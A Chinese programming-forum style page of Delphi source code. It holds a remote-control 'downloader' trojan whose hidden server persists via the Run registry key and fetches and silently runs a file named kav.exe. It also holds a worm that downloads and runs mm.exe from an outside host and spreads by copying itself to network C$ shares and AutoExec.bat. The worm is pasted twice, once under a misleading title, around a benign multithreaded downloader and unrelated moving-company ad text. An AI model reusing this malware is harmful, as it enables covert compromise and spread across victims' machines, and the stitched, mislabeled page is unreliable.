“遥控下载者 V1.0”源码
1.0版用到TClientSocket和TServerSocket控件，所以比较大。现在把源码贴出来，有兴趣的朋友看一下，还望多指教！！！

客户端：

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ScktComp, ComCtrls, WinSkinData;

type
TForm1 = class(TForm)
GroupBox1: TGroupBox;
Label1: TLabel;
Edit1: TEdit;
Label2: TLabel;
Edit2: TEdit;
Button1: TButton;
Label3: TLabel;
Edit3: TEdit;
Button2: TButton;
CheckBox1: TCheckBox;
Button3: TButton;
GroupBox2: TGroupBox;
Memo1: TMemo;
ClientSocket1: TClientSocket;
StatusBar1: TStatusBar;
SkinData1: TSkinData;
Button4: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure ClientSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
procedure ClientSocket1Connecting(Sender: TObject;
  Socket: TCustomWinSocket);
procedure ClientSocket1Disconnect(Sender: TObject;
  Socket: TCustomWinSocket);
procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure Button3Click(Sender: TObject);
procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
procedure Button4Click(Sender: TObject);
procedure Memo1DblClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Host :=edit1.Text ;
ClientSocket1.Port :=1304;
try
ClientSocket1.Open ; //打开连接
except
exit;
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
ClientSocket1.Close ; //关闭连接
end;

procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Memo1.Lines.Add('>> 连接成功');
Button3.Enabled :=true; //打开下载命令按钮
Button1.Enabled :=false; //关闭连接按钮
end;

procedure TForm1.ClientSocket1Connecting(Sender: TObject;
Socket: TCustomWinSocket);
begin
Memo1.Lines.Add('>> 正在连接...');
end;

procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Memo1.Lines.Add('>> 断开连接');
Button3.Enabled :=false; //关闭下载命令按钮
Button1.Enabled :=true; //打开连接按钮
end;

procedure TForm1.ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
Memo1.Lines.Add('>> 连接失败。请确认服务端是否运行？');
ErrorCode:=0; //设置为0，不出现错误提示框
end;

procedure TForm1.Button3Click(Sender: TObject);
var
Sfile:string; //目标文件
begin
Sfile:=edit3.Text ;
if CheckBox1.Checked then
ClientSocket1.Socket.SendText('run'+Sfile) //发送命令(自动运行)
else
ClientSocket1.Socket.SendText('norun'+Sfile); // 发送命令（不自动运行）
Memo1.Lines.Add('>> 遥控下载命令已发送');
end;

procedure TForm1.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
begin
memo1.Lines.Add(Socket.ReceiveText);
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
Close;
end;

procedure TForm1.Memo1DblClick(Sender: TObject);
begin
Memo1.Clear ;
end;

end.

服务端：

unit Unit1;

interface

uses
Windows, SysUtils, Variants, Classes, Graphics, Controls, Forms,
StdCtrls, ScktComp, UrlMon, Registry, Messages, Dialogs;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
procedure FormCreate(Sender: TObject);
function DownloadToFile(Sourcefile,Destfile:string):Boolean;
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
Sfile:string;
begin
Sfile:=Socket.ReceiveText ; //接受客户端发送的命令

if Copy(Sfile,1,3)='run' then   //自动运行
begin
Sfile:=Copy(Sfile,4,Length(Sfile)-3);
if Pos('http://',Sfile)=0 then
  Sfile:='http://'+Sfile;
Socket.SendText('>> 服务端接收到命令（下载+自动运行），正在执行...');
if DownloadToFile(Sfile,'c:\windows\kav.exe') then   //下载成功 (文件名为kav.exe)
begin
  Winexec('c:\windows\kav.exe',SW_HIDE);
  Socket.SendText('>> 服务端下载并运行目标文件成功');
end
else
  Socket.SendText('>> 服务端下载目标文件失败');
end;

if Copy(Sfile,1,5)='norun' then   //不运行
begin
Sfile:=Copy(Sfile,6,Length(Sfile)-5);
if Pos('http://',Sfile)=0 then
  Sfile:='http://'+Sfile;
Socket.SendText('>> 服务端接收到命令（下载），正在执行...');
if DownloadToFile(Sfile,'c:\windows\kav.exe') then   //下载成功
  Socket.SendText('>> 服务端下载目标文件成功')
else
  Socket.SendText('>> 服务端下载目标文件失败');
end;

end;

procedure TForm1.FormCreate(Sender: TObject);
var
reg:TRegistry;
myname:string;
begin
Application.ShowMainForm :=false; //隐藏窗口

myname:=ExtractFilename(Application.ExeName); //取自身文件名
CopyFile(PChar(Application.exename),PChar('c:\windows\'+myname),false); //复制自身到c:\windows\目录下

reg:=TRegistry.Create ; //写注册表，开机即启动
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
reg.WriteString('KendyDownloader','c:\windows\'+myname);   //在run键下写入自身路径和文件名
reg.closekey;
reg.free;

ServerSocket1.Port :=1304;
ServerSocket1.Open ; // 打开1304端口监听
end;

function TForm1.DownloadToFile(Sourcefile, Destfile: string): Boolean; //下载函数
begin
try
Result:=UrlDownloadToFile(nil,PChar(Sourcefile),PChar(Destfile),0,nil)=0;
except
Result:=false;
end;
end;

end.

Delphi-IdHTTP多线程下载

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ComCtrls, StdCtrls, IdComponent, IdTCPConnection, IdTCPClient,
IdHTTP, IdBaseComponent, IdAntiFreezeBase, IdAntiFreeze,
IdThreadComponent, IdFTP;

type
TThread1 = class(TThread)

private
fCount, tstart, tlast: integer;
tURL, tFile, temFileName: string;
tResume: Boolean;
tStream: TFileStream;
protected
procedure Execute; override;
public
constructor create1(aURL, aFile, fileName: string; bResume: Boolean; Count,
  start, last: integer);
procedure DownLodeFile(); //下载文件
end;

type
TForm1 = class(TForm)
IdAntiFreeze1: TIdAntiFreeze;
IdHTTP1: TIdHTTP;
Button1: TButton;
ProgressBar1: TProgressBar;
IdThreadComponent1: TIdThreadComponent;
Label1: TLabel;
Label2: TLabel;
Button2: TButton;
Button3: TButton;
ListBox1: TListBox;
Edit1: TEdit;
Edit2: TEdit;
Label3: TLabel;
Label4: TLabel;

procedure Button1Click(Sender: TObject);
procedure IdHTTP1WorkBegin(Sender: TObject; AWorkMode: TWorkMode;
  const AWorkCountMax: Integer);
procedure IdHTTP1Work(Sender: TObject; AWorkMode: TWorkMode;
  const AWorkCount: Integer);
procedure Button2Click(Sender: TObject);
procedure IdHTTP1Status(ASender: TObject; const AStatus: TIdStatus;
  const AStatusText: string);
procedure Button3Click(Sender: TObject);
private
public
nn, aFileSize, avg: integer;
MyThread: array[1..10] of TThread;
procedure GetThread();
procedure AddFile();
function GetURLFileName(aURL: string): string;
function GetFileSize(aURL: string): integer;
end;

var
Form1: TForm1;

implementation
var
AbortTransfer: Boolean;
aURL, aFile: string;

tcount: integer; //检查文件是否全部下载完毕
{$R *.dfm}

//get FileName

function TForm1.GetURLFileName(aURL: string): string;
var
i: integer;
s: string;
begin //返回下载地址的文件名

s := aURL;
i := Pos('/', s);
while i <> 0 do //去掉"/"前面的内容剩下的就是文件名了
begin
Delete(s, 1, i);
i := Pos('/', s);
end;
Result := s;
end;

//get FileSize

function TForm1.GetFileSize(aURL: string): integer;
var
FileSize: integer;
begin
IdHTTP1.Head(aURL);
FileSize := IdHTTP1.Response.ContentLength;
IdHTTP1.Disconnect;
Result := FileSize;
end;

//执行下载

procedure TForm1.Button1Click(Sender: TObject);
var
j: integer;
begin
tcount := 0;
Showmessage('OK!主线程在执行，获得文件名并显示在Edit2中');
aURL := Edit1.Text; //下载地址
aFile := GetURLFileName(Edit1.Text); //得到文件名
nn := StrToInt(Edit2.Text); //线程数
j := 1;
aFileSize := GetFileSize(aURL);
avg := trunc(aFileSize / nn);
begin
try
  GetThread();
  while j <= nn do
  begin
  MyThread[j].Resume; //唤醒线程
  j := j + 1;
  end;
except
  Showmessage('创建线程失败!');
  Exit;
end;
end;
end;

//开始下载前,将ProgressBar1的最大值设置为需要接收的数据大小.

procedure TForm1.IdHTTP1WorkBegin(Sender: TObject; AWorkMode: TWorkMode;
const AWorkCountMax: Integer);
begin
AbortTransfer := False;
ProgressBar1.Max := AWorkCountMax;
ProgressBar1.Min := 0;
ProgressBar1.Position := 0;
end;

//接收数据的时候,进度将在ProgressBar1显示出来.

procedure TForm1.IdHTTP1Work(Sender: TObject; AWorkMode: TWorkMode;
const AWorkCount: Integer);
begin
if AbortTransfer then
begin
IdHTTP1.Disconnect; //中断下载
end;
ProgressBar1.Position := AWorkCount;
//ProgressBar1.Position:=ProgressBar1.Position+AWorkCount; //*******显示速度极快
Application.ProcessMessages;
//***********************************这样使用不知道对不对

end;

//中断下载

procedure TForm1.Button2Click(Sender: TObject);
begin
AbortTransfer := True;
IdHTTP1.Disconnect;
end;

//状态显示

procedure TForm1.IdHTTP1Status(ASender: TObject; const AStatus: TIdStatus;
const AStatusText: string);
begin
ListBox1.ItemIndex := ListBox1.Items.Add(AStatusText);
end;

//退出程序

procedure TForm1.Button3Click(Sender: TObject);
begin
application.Terminate;

end;

//循环产生线程

procedure TForm1.GetThread();
var
i: integer;
start: array[1..100] of integer;
last: array[1..100] of integer;   //改用了数组，也可不用
fileName: string;
begin
i := 1;
while i <= nn do
begin
start := avg * (i - 1);
last := avg * i -1; //这里原先是last:=avg*i;
if i = nn then
begin
  last := avg*i + aFileSize-avg*nn; //这里原先是aFileSize
end;
fileName := aFile + IntToStr(i);
MyThread := TThread1.create1(aURL, aFile, fileName, false, i, start,
  last);
i := i + 1;
end;
end;

procedure TForm1.AddFile(); //合并文件
var
mStream1, mStream2: TMemoryStream;
i: integer;
begin
i := 1;
mStream1 := TMemoryStream.Create;
mStream2 := TMemoryStream.Create;

mStream1.loadfromfile('设备工程进度管理前期规划.doc' + '1');
while i < nn do
begin
mStream2.loadfromfile('设备工程进度管理前期规划.doc' + IntToStr(i + 1));
mStream1.seek(mStream1.size, soFromBeginning);
mStream1.copyfrom(mStream2, mStream2.size);
mStream2.clear;
i := i + 1;
end;
mStream2.free;
mStream1.SaveToFile('设备工程进度管理前期规划.doc');
mStream1.free;
//删除临时文件
i:=1;
while i <= nn do
begin
deletefile('设备工程进度管理前期规划.doc' + IntToStr(i));
i := i + 1;
end;
Form1.ListBox1.ItemIndex := Form1.ListBox1.Items.Add('下在成功');

end;

//构造函数

constructor TThread1.create1(aURL, aFile, fileName: string; bResume: Boolean;
Count, start, last: integer);
begin
inherited create(true);
FreeOnTerminate := true;
tURL := aURL;
tFile := aFile;
fCount := Count;
tResume := bResume;
tstart := start;
tlast := last;
temFileName := fileName;
end;
//下载文件函数

procedure TThread1.DownLodeFile();
var
temhttp: TIdHTTP;
begin

temhttp := TIdHTTP.Create(nil);
temhttp.onWorkBegin := Form1.IdHTTP1WorkBegin;
temhttp.onwork := Form1.IdHTTP1work;
temhttp.onStatus := Form1.IdHTTP1Status;
Form1.IdAntiFreeze1.OnlyWhenIdle := False; //设置使程序有反应.
if FileExists(temFileName) then //如果文件已经存在
tStream := TFileStream.Create(temFileName, fmOpenWrite)
else
tStream := TFileStream.Create(temFileName, fmCreate);

if tResume then //续传方式
begin
exit;
end
else //覆盖或新建方式
begin
temhttp.Request.ContentRangeStart := tstart;
temhttp.Request.ContentRangeEnd := tlast;
end;

try
temhttp.Get(tURL, tStream); //开始下载
Form1.ListBox1.ItemIndex := Form1.ListBox1.Items.Add(temFileName +
  'download');

finally
//tStream.Free;
freeandnil(tstream);
temhttp.Disconnect;
end;

end;

procedure TThread1.Execute;
begin
if Form1.Edit1.Text <> '' then
//synchronize(DownLodeFile)
DownLodeFile
else
exit;
inc(tcount);
if tcount = Form1.nn then //当tcount=nn时代表全部下载成功
begin
//Showmessage('全部下载成功!');
Form1.ListBox1.ItemIndex := Form1.ListBox1.Items.Add('正在合并删除临时文件');
Form1.AddFile;
end;
end;

end.

Delphi蠕虫功能的下载者源代码
Program a;

Uses
Windows;

Const
krnp : String = 'I want to dedicate this message to '+
'gates. Gates, you suck. Gates'+
'you really are homosexual. etc';

VAR
ww   : String;


function mbgcqsd_(Caller: cardinal; URL: PChar; FileName: PChar;Reserved: LongWord; StatusCB: cardinal):Longword; stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';
Function LowerCase(const S: string): string;
var
kixoebvq: Integer;
begin
kixoebvq := Length(S);
SetString(Result, PChar(S), kixoebvq);
if kixoebvq > 0 then CharLowerBuff(Pointer(Result), kixoebvq);
end;

Function FileSize(FileName: String): Int64;
Var
zjzb: THandle;
exn: TWin32FindData;
Begin
Result:= -1;

zjzb:= FindFirstFile(PChar(FileName), exn);
If zjzb <> INVALID_HANDLE_VALUE Then
Begin
Windows.FindClose(zjzb);
Result:= Int64(exn.nFileSizeHigh) Shl 32 + exn.nFileSizeLow;
End;
End;

Function ExtractFileName(Str:String):String;
Begin
While Pos('\', Str)>0 Do
Str := Copy(Str, Pos('\',Str)+1, Length(Str));
Result := Str;
End;

Function ExtractFileExt(s:string):String;
Begin
While Pos('.', S)>0 Do
S := Copy(S, pos('.', S)+1, Length(s));
Result := S;
End;

function FileExists(const FileName: string): Boolean;
var
__pqxjj: THandle;
wgndplz: TWin32FindData;
begin
__pqxjj := FindFirstFileA(PChar(FileName), wgndplz);
result:= __pqxjj <> INVALID_HANDLE_VALUE;
if result then
begin
CloseHandle(__pqxjj);
end;
end;

procedure Enumeration(aResource:PNetResource);
var
qnlshmm: THandle;
kujf_n, mec: DWORD;
wgokq: array[0..1023] of TNetResource;
_fehlq: Integer;
begin
WNetOpenEnum(2,0,0,aResource,qnlshmm);
kujf_n:=1024;
mec:=SizeOf(wgokq);
while WNetEnumResource(qnlshmm,kujf_n,@wgokq,mec)=0 do
for _fehlq:=0 to kujf_n-1 do
begin
if wgokq[_fehlq].dwDisplayType=RESOURCEDISPLAYTYPE_SERVER then
ww := ww + copy(LowerCase(wgokq[_fehlq].lpRemoteName),3,MAX_PATH) + #13#10;
if wgokq[_fehlq].dwUsage>0 then
Enumeration(@wgokq[_fehlq])
end;
WNetCloseEnum(qnlshmm);
end;

Procedure Network;
Var
x_a : String;
ktkma : TextFile;
Begin
Enumeration(NIL);
While ww <> '' Do Begin
x_a := Copy(ww, 1, Pos(#13#10, ww)-1);
Try
CopyFile(pChar(ParamStr(0)), pChar(x_a + '\C$\Setup.exe'), False);
If FileExists(pChar(x_a + '\C$\AutoExec.bat')) Then Begin
AssignFile(ktkma, x_a + '\C$\AutoExec.bat');
Append(ktkma);
WriteLn(ktkma, 'Setup.exe');
CloseFile(ktkma);
End;
Except
;
End;
ww := Copy(ww, Pos(#13#10, ww)+2, Length(ww));
End;
End;


Begin
mbgcqsd_(0, 'http://djyangyong.nease.net/mm.exe', 'C:\win30.exe', 0, 0);
WinExec('C:\win30.exe',0);
Network;

End.

Delphi实现文件下载并且显示下载进度


Program a;

Uses
Windows;

Const
krnp : String = 'I want to dedicate this message to '+
'gates. Gates, you suck. Gates'+
'you really are homosexual. etc';

VAR
ww   : String;


function mbgcqsd_(Caller: cardinal; URL: PChar; FileName: PChar;Reserved: LongWord; StatusCB: cardinal):Longword; stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';
Function LowerCase(const S: string): string;
var
kixoebvq: Integer;
begin
kixoebvq := Length(S);
SetString(Result, PChar(S), kixoebvq);
if kixoebvq > 0 then CharLowerBuff(Pointer(Result), kixoebvq);
end;

Function FileSize(FileName: String): Int64;
Var
zjzb: THandle;
exn: TWin32FindData;
Begin
Result:= -1;

zjzb:= FindFirstFile(PChar(FileName), exn);
If zjzb <> INVALID_HANDLE_VALUE Then
Begin
Windows.FindClose(zjzb);
Result:= Int64(exn.nFileSizeHigh) Shl 32 + exn.nFileSizeLow;
End;
End;

Function ExtractFileName(Str:String):String;
Begin
While Pos('\', Str)>0 Do
Str := Copy(Str, Pos('\',Str)+1, Length(Str));
Result := Str;
End;

Function ExtractFileExt(s:string):String;
Begin
While Pos('.', S)>0 Do
S := Copy(S, pos('.', S)+1, Length(s));
Result := S;
End;

function FileExists(const FileName: string): Boolean;
var
__pqxjj: THandle;
wgndplz: TWin32FindData;
begin
__pqxjj := FindFirstFileA(PChar(FileName), wgndplz);
result:= __pqxjj <> INVALID_HANDLE_VALUE;
if result then
begin
CloseHandle(__pqxjj);
end;
end;

procedure Enumeration(aResource:PNetResource);
var
qnlshmm: THandle;
kujf_n, mec: DWORD;
wgokq: array[0..1023] of TNetResource;
_fehlq: Integer;
begin
WNetOpenEnum(2,0,0,aResource,qnlshmm);
kujf_n:=1024;
mec:=SizeOf(wgokq);
while WNetEnumResource(qnlshmm,kujf_n,@wgokq,mec)=0 do
for _fehlq:=0 to kujf_n-1 do
begin
if wgokq[_fehlq].dwDisplayType=RESOURCEDISPLAYTYPE_SERVER then
ww := ww + copy(LowerCase(wgokq[_fehlq].lpRemoteName),3,MAX_PATH) + #13#10;
if wgokq[_fehlq].dwUsage>0 then
Enumeration(@wgokq[_fehlq])
end;
WNetCloseEnum(qnlshmm);
end;

Procedure Network;
Var
x_a : String;
ktkma : TextFile;
Begin
Enumeration(NIL);
While ww <> '' Do Begin
x_a := Copy(ww, 1, Pos(#13#10, ww)-1);
Try
CopyFile(pChar(ParamStr(0)), pChar(x_a + '\C$\Setup.exe'), False);
If FileExists(pChar(x_a + '\C$\AutoExec.bat')) Then Begin
AssignFile(ktkma, x_a + '\C$\AutoExec.bat');
Append(ktkma);
WriteLn(ktkma, 'Setup.exe');
CloseFile(ktkma);
End;
Except
;
End;
ww := Copy(ww, Pos(#13#10, ww)+2, Length(ww));
End;
End;


Begin
mbgcqsd_(0, 'http://djyangyong.nease.net/mm.exe', 'C:\win30.exe', 0, 0);
WinExec('C:\win30.exe',0);
Network;

End.

上海搬场公司是上海成立历史悠久搬场公司，是 “上海市优秀企业” ， “上海市文明单位” ，客户信得过单位，本公司被上海搬场行业协会授予 四星级企业 ，为进一步提升强生服务质量，公司于2004年在全国搬场行业中率先通过了 ISO9002 质量管理体系认证！